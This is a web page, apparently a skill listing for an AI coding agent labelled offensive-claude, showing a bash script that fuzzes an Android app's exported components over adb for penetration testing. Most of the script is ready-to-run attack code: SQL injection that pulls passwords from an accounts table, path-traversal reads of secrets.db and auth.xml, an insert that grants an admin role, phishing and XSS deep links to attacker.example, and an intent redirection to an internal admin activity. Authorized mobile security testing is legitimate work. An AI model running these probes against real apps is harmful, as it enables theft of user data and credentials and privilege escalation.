Skip to content

hypnguyen1209/offensive-claude / skills/mobile-pentest

mobile-pentest

Unverified

Use when pentesting an Android/iOS app — Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 CA injection, exported-component/content-provider abuse, deep-link/WebView chains, biometric bypass, Flutter/React-Native RE

scripts/component_fuzz.sh

View on GitHub
#!/usr/bin/env bash
#
# component_fuzz.sh — Drive adb against an exported attack surface produced by manifest_attack_surface.py
#
# Probes: exported activities (launch), services (start), receivers (broadcast), content providers
# (query + SQLi + path-traversal), and deep links (open-redirect / XSS / traversal / intent-redirect).
#
# USAGE:
#   python3 manifest_attack_surface.py base.apk -o surface.json
#   bash component_fuzz.sh com.target.app surface.json
#   bash component_fuzz.sh com.target.app surface.json --no-write   # skip insert/delete/write probes
#
# DEPENDENCIES: adb (device connected/authorized), jq, the surface.json from the parser.
# SCOPE: authorized testing only. Destructive probes (insert/delete/traversal-write) are gated
#        behind explicit confirmation and skipped with --no-write. Snapshot data first.
set -uo pipefail

PKG="${1:?usage: component_fuzz.sh <package> <surface.json> [--no-write]}"
SURFACE="${2:?provide surface.json}"
WRITE=1
[[ "${3:-}" == "--no-write" ]] && WRITE=0

command -v jq  >/dev/null || { echo "[!] jq required"; exit 1; }
command -v adb >/dev/null || { echo "[!] adb required"; exit 1; }

run() { echo "    \$ $*"; adb shell "$@" 2>&1 | sed 's/^/      /'; }

echo "== [1] Exported activities =="
jq -r '.components.activity[] | select(.exported==true) | .name' "$SURFACE" | while read -r ACT; do
  [[ -z "$ACT" ]] && continue
  COMP="$PKG/${ACT/#$PKG/}"
  echo "  -> $COMP"
  run am start -n "$COMP"
  # try common attacker-controlled extras
  run am start -n "$COMP" --es url "https://attacker.example/phish" --ez is_admin true --ei price 0
done

echo "== [2] Exported services =="
jq -r '.components.service[] | select(.exported==true) | .name' "$SURFACE" | while read -r SVC; do
  [[ -z "$SVC" ]] && continue
  COMP="$PKG/${SVC/#$PKG/}"
  echo "  -> $COMP"
  run am startservice -n "$COMP" --es cmd "id"
done

echo "== [3] Exported broadcast receivers =="
jq -r '.components.receiver[] | select(.exported==true) | .name' "$SURFACE" | while read -r RCV; do
  [[ -z "$RCV" ]] && continue
  echo "  -> $PKG (receiver $RCV)"
  run am broadcast -n "$PKG/${RCV/#$PKG/}" --es data "fuzz"
done

echo "== [4] Content providers (query + SQLi + path traversal) =="
TRAVERSALS=( "data/..%2f..%2fdatabases%2fsecrets.db" "data/../../databases/app.db" "..%252f..%252fshared_prefs%2fauth.xml" )
jq -r '.components.provider[]? | select(.exported==true) | .authorities // empty' "$SURFACE" \
  | tr ';,' '\n' | sed '/^$/d' | while read -r AUTH; do
  BASE="content://$AUTH"
  echo "  -> $BASE"
  run content query --uri "$BASE/users"
  # boolean / UNION SQLi in selection
  run content query --uri "$BASE/users" --where "1=1) UNION SELECT name,password FROM accounts--"
  # SQLi in URI segment
  run content query --uri "$BASE/users/1' OR '1'='1"
  # path traversal via openFile
  for T in "${TRAVERSALS[@]}"; do
    run content read --uri "$BASE/$T"
  done
  if [[ "$WRITE" -eq 1 ]]; then
    echo "    [write probe — authorized + snapshot taken? Ctrl-C to abort within 3s]"; sleep 3
    run content insert --uri "$BASE/users" --bind username:s:pentest --bind role:s:admin
  fi
done

echo "== [5] Deep links (redirect / XSS / traversal / intent) =="
jq -r '.deep_links[]? | [.scheme, (.host // ""), .component] | @tsv' "$SURFACE" | while IFS=$'\t' read -r SCHEME HOST COMP; do
  [[ -z "$SCHEME" ]] && continue
  PREFIX="$SCHEME://${HOST}"
  echo "  -> $PREFIX (handler $COMP)"
  for PARAM in url redirect next target path; do
    run am start -W -a android.intent.action.VIEW -d "$PREFIX/web?$PARAM=https://attacker.example/login"
    run am start -W -a android.intent.action.VIEW -d "$PREFIX/web?$PARAM=javascript:alert(document.domain)"
    run am start -W -a android.intent.action.VIEW -d "$PREFIX/file?$PARAM=../../../../data/data/$PKG/databases/secrets.db"
  done
done

echo "== [6] intent:// redirection to internal components (manual targets) =="
echo "  (review non-exported components in $SURFACE and try:)"
echo "    adb shell am start -a android.intent.action.VIEW -d \\"
echo "      \"intent://x/#Intent;package=$PKG;component=$PKG/.internal.AdminActivity;end\""

echo "[+] done. Review logcat for crashes / leaked data:  adb logcat -d | grep -i $PKG"
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall